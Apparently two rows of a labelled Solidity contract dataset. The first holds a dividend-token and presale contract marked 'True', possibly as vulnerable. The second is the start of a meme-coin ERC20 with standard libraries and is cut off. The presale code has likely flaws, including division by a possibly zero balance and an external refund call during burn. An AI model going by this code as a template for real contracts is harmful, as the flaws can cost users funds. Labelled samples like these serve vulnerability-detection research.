Transfer(_burner, address(0), _value);
}
}
contract DividendPayoutToken is BurnableToken, MintableToken {
// Dividends already claimed by investor
mapping(address => uint256) public dividendPayments;
// Total dividends claimed by all investors
uint256 public totalDividendPayments;
// invoke this function after each dividend payout
function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public {
dividendPayments[_investor] = dividendPayments[_investor].add(_amount);
totalDividendPayments = totalDividendPayments.add(_amount);
}
//When transfer tokens decrease dividendPayments for sender and increase for receiver
function transfer(address _to, uint256 _value) public returns (bool) {
// balance before transfer
uint256 oldBalanceFrom = balances[msg.sender];
// invoke super function with requires
bool isTransferred = super.transfer(_to, _value);
uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom);
dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims);
dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);
return isTransferred;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
// balance before transfer
uint256 oldBalanceFrom = balances[_from];
// invoke super function with requires
bool isTransferred = super.transferFrom(_from, _to, _value);
uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom);
dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims);
dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);
return isTransferred;
}
function burn() public {
address burner = msg.sender;
// balance before burning tokens
uint256 oldBalance = balances[burner];
super._burn(burner, oldBalance);
uint256 burnedClaims = dividendPayments[burner];
dividendPayments[burner] = dividendPayments[burner].sub(burnedClaims);
totalDividendPayments = totalDividendPayments.sub(burnedClaims);
SaleInterface(owner).refund(burner);
}
}
contract RicoToken is DividendPayoutToken {
string public constant name = "Rico";
string public constant symbol = "Rico";
uint8 public constant decimals = 18;
}
// Interface for PreSale and CrowdSale contracts with refund function
contract SaleInterface {
function refund(address _to) public;
}
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract PreSale is Ownable, ReentrancyGuard {
using SafeMath for uint256;
// The token being sold
RicoToken public token;
address tokenContractAddress;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// Address where funds are transferred after success end of PreSale
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
uint256 public minimumInvest; // in wei
uint256 public softCap; // in wei
uint256 public hardCap; // in wei
// investors => amount of money
mapping(address => uint) public balances;
// Amount of wei raised
uint256 public weiRaised;
// PreSale bonus in percent
uint256 bonusPercent;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function PreSale(
address _token) public
{
startTime = 1525251600;
endTime = startTime + 80 minutes;
wallet = 0xA298811CB7809fe48D74ad571B8a6025F142c3C7;
token = RicoToken(_token);
tokenContractAddress = _token;
// minimumInvest in wei
minimumInvest = 1000000000000;
// 1 token for approximately 0.00015 eth
rate = 1000;
softCap = 150 * 0.000001 ether;
hardCap = 1500 * 0.000001 ether;
bonusPercent = 50;
}
// @return true if the transaction can buy tokens
modifier saleIsOn() {
bool withinPeriod = now >= startTime && now <= endTime;
require(withinPeriod);
_;
}
modifier isUnderHardCap() {
require(weiRaised < hardCap);
_;
}
modifier refundAllowed() {
require(weiRaised < softCap && now > endTime);
_;
}
// @return true if PreSale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
// Refund ether to the investors (invoke from only token)
function refund(address _to) public refundAllowed {
require(msg.sender == tokenContractAddress);
uint256 valueToReturn = balances[_to];
// update states
balances[_to] = 0;
weiRaised = weiRaised.sub(valueToReturn);
_to.transfer(valueToReturn);
}
// Get amount of tokens
// @param value weis paid for tokens
function getTokenAmount(uint256 _value) internal view returns (uint256) {
return _value.mul(rate);
}
// Send weis to the wallet
function forwardFunds(uint256 _value) internal {
wallet.transfer(_value);
}
// Success finish of PreSale
function finishPreSale() public onlyOwner {
require(weiRaised >= softCap);
require(weiRaised >= hardCap || now > endTime);
if (now < endTime) {
endTime = now;
}
forwardFunds(this.balance);
token.transferOwnership(owner);
}
// Change owner of token after end of PreSale if Soft Cap has not raised
function changeTokenOwner() public onlyOwner {
require(now > endTime && weiRaised < softCap);
token.transferOwnership(owner);
}
// low level token purchase function
function buyTokens(address _beneficiary) saleIsOn isUnderHardCap nonReentrant public payable {
require(_beneficiary != address(0));
require(msg.value >= minimumInvest);
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
tokens = tokens.add(tokens.mul(bonusPercent).div(100));
token.mint(_beneficiary, tokens);
// update states
weiRaised = weiRaised.add(weiAmount);
balances[_beneficiary] = balances[_beneficiary].add(weiAmount);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
}
function() external payable {
buyTokens(msg.sender);
}
} | True | [
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|
// Twitter : https://twitter.com/ElonInuERC
// Website : ElonInuERC.com
// Telegram : https://t.me/ElonInuEntry
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.13;
abstract contract Context
{
function _msgSender() internal view virtual returns (address)
{
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata)
{
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using this function
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _createInitialSupply(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SignedSafeMath {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
